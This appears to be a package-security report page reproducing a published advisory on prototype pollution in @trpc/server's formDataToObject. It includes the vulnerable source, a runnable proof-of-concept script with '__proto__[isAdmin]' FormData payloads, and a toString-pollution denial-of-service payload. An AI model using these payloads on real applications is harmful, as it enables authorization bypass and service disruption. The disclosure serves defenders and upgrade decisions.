npm package report

Is @trpc/server safe?

2 known vulnerabilities, worst severity HIGH.

// reach

0 direct dependencies

none carry a known advisory

    42 packages depend on it

    an advisory here reaches each of them

    Create a free accountfor every dependency path, dependent and what to upgrade
    // ai model usage

    Tracked for PyPI packages. HuggingFace models declare Python dependencies, so npm packages are not covered.


    cvss
    8.5
    high

    CVSS v4.0 base score out of 10

    epss
    0.40%
    low

    chance of exploitation in 30 days, 34th percentile of all CVEs

    xyz score
    4.4
    medium

    CyberXYZ composite out of 10

    fig. 01 — GHSA-43p4-m455-4f4j, the advisory selected below

    // 2 advisories

    GHSA-43p4-m455-4f4j

    HIGHGitHub ratingCVE-2025-68130

    > Note that this vulnerability is only present when using experimental_caller / experimental_nextAppDirCaller.

    // summary

    A Prototype Pollution vulnerability exists in @trpc/server's formDataToObject function, which is used by the Next.js App Router adapter. An attacker can pollute Object.prototype by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.

    // affected versions
    • Package: @trpc/server
    • Affected Versions: >=10.27.0
    • Vulnerable Component: formDataToObject() in src/unstable-core-do-not-import/http/formDataToObject.ts
    // root cause

    The set() function in formDataToObject.ts recursively processes FormData field names containing bracket/dot notation (e.g., user[name], user.address.city) to create nested objects. However, it does not validate or sanitize dangerous keys like __proto__, constructor, or prototype.

    // vulnerable code
    // packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts
    function set(obj, path, value) {
      if (path.length > 1) {
        const newPath = [...path];
        const key = newPath.shift();  // ← No validation of dangerous keys
        const nextKey = newPath[0];
    
        if (!obj[key]) {  // ← Accesses obj["__proto__"] which returns Object.prototype
          obj[key] = isNumberString(nextKey) ? [] : {};
        }
        
        set(obj[key], newPath, value);  // ← Recursively pollutes Object.prototype
        return;
      }
      // ...
    }
    
    export function formDataToObject(formData) {
      const obj = {};
      for (const [key, value] of formData.entries()) {
        const parts = key.split(/[\.\[\]]/).filter(Boolean);  // Splits "__proto__[isAdmin]" → ["__proto__", "isAdmin"]
        set(obj, parts, value);
      }
      return obj;
    }
    // attack vector

    When a user submits a form to a tRPC mutation using Next.js Server Actions, the nextAppDirCaller adapter processes the FormData:

    // packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89
    if (normalizeFormData && input instanceof FormData) {
      input = formDataToObject(input);  // ← Vulnerable call
    }

    An attacker can craft FormData with malicious field names:

    const formData = new FormData();
    formData.append("__proto__[isAdmin]", "true");
    formData.append("__proto__[role]", "superadmin");

    When processed, this pollutes Object.prototype:

    {}.isAdmin        // → "true"
    {}.role           // → "superadmin"
    // proof of concept
    # Step 1: Create the project directory
    
    mkdir trpc-vuln-poc
    cd trpc-vuln-poc
    
    # Step 2: Initialize npm
    
    npm init -y
    
    # Step 3: Install vulnerable tRPC
    
    npm install @trpc/server@11.7.2
    
    # Step 4: Create the test file 

    ---

    // test.js
    const { formDataToObject } = require('@trpc/server/unstable-core-do-not-import');
    
    console.log("=== PoC Prototype Pollution en tRPC ===\n");
    
    console.log("[1] Estado inicial:");
    console.log("    {}.isAdmin =", {}.isAdmin);
    
    const fd = new FormData();
    fd.append("__proto__[isAdmin]", "true");
    fd.append("__proto__[role]", "superadmin");
    fd.append("username", "attacker");
    
    console.log("\n[2] FormData malicioso:");
    console.log('    __proto__[isAdmin] = "true"');
    console.log('    __proto__[role] = "superadmin"');
    
    console.log("\n[3] Llamando formDataToObject()...");
    const result = formDataToObject(fd);
    console.log("    Resultado:", JSON.stringify(result));
    
    console.log("\n[4] Después del ataque:");
    console.log("    {}.isAdmin =", {}.isAdmin);
    console.log("    {}.role =", {}.role);
    
    const user = { id: 1, name: "john" };
    console.log("\n[5] Impacto en autorización:");
    console.log("    Usuario normal:", JSON.stringify(user));
    console.log("    user.isAdmin =", user.isAdmin);
    
    if (user.isAdmin) {
        console.log("\n    VULNERABLE - Authorization bypass exitoso!");
    } else {
        console.log("\n    ✓ Seguro");
    }
    // authorization bypass (high)

    Many applications check user permissions using property access:

    // Vulnerable pattern
    if (user.isAdmin) {
      // Grant admin access
    }

    After pollution, all objects will have isAdmin: "true", bypassing authorization.

    // denial of service (medium)

    Polluting commonly used property names can crash applications:

    formData.append("__proto__[toString]", "not_a_function");
    // All subsequent .toString() calls will fail
    // cvss v4.0 vector

    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L

    Attack vector
    Network
    Attack complexity
    Low
    Attack requirements
    None
    Privileges required
    Low
    User interaction
    None
    Confidentiality (vulnerable system)
    Low
    Integrity (vulnerable system)
    High
    Availability (vulnerable system)
    Low
    Confidentiality (subsequent systems)
    Low
    Integrity (subsequent systems)
    High
    Availability (subsequent systems)
    Low

    Checked 2026-11-06 at 22:22 UTC. The most recent advisory here was published 2025-12-16. Updated continuously from NVD, GHSA, OSV and CNA feeds.

    Think a verdict here is wrong? Tell us — we respond within 2 business days.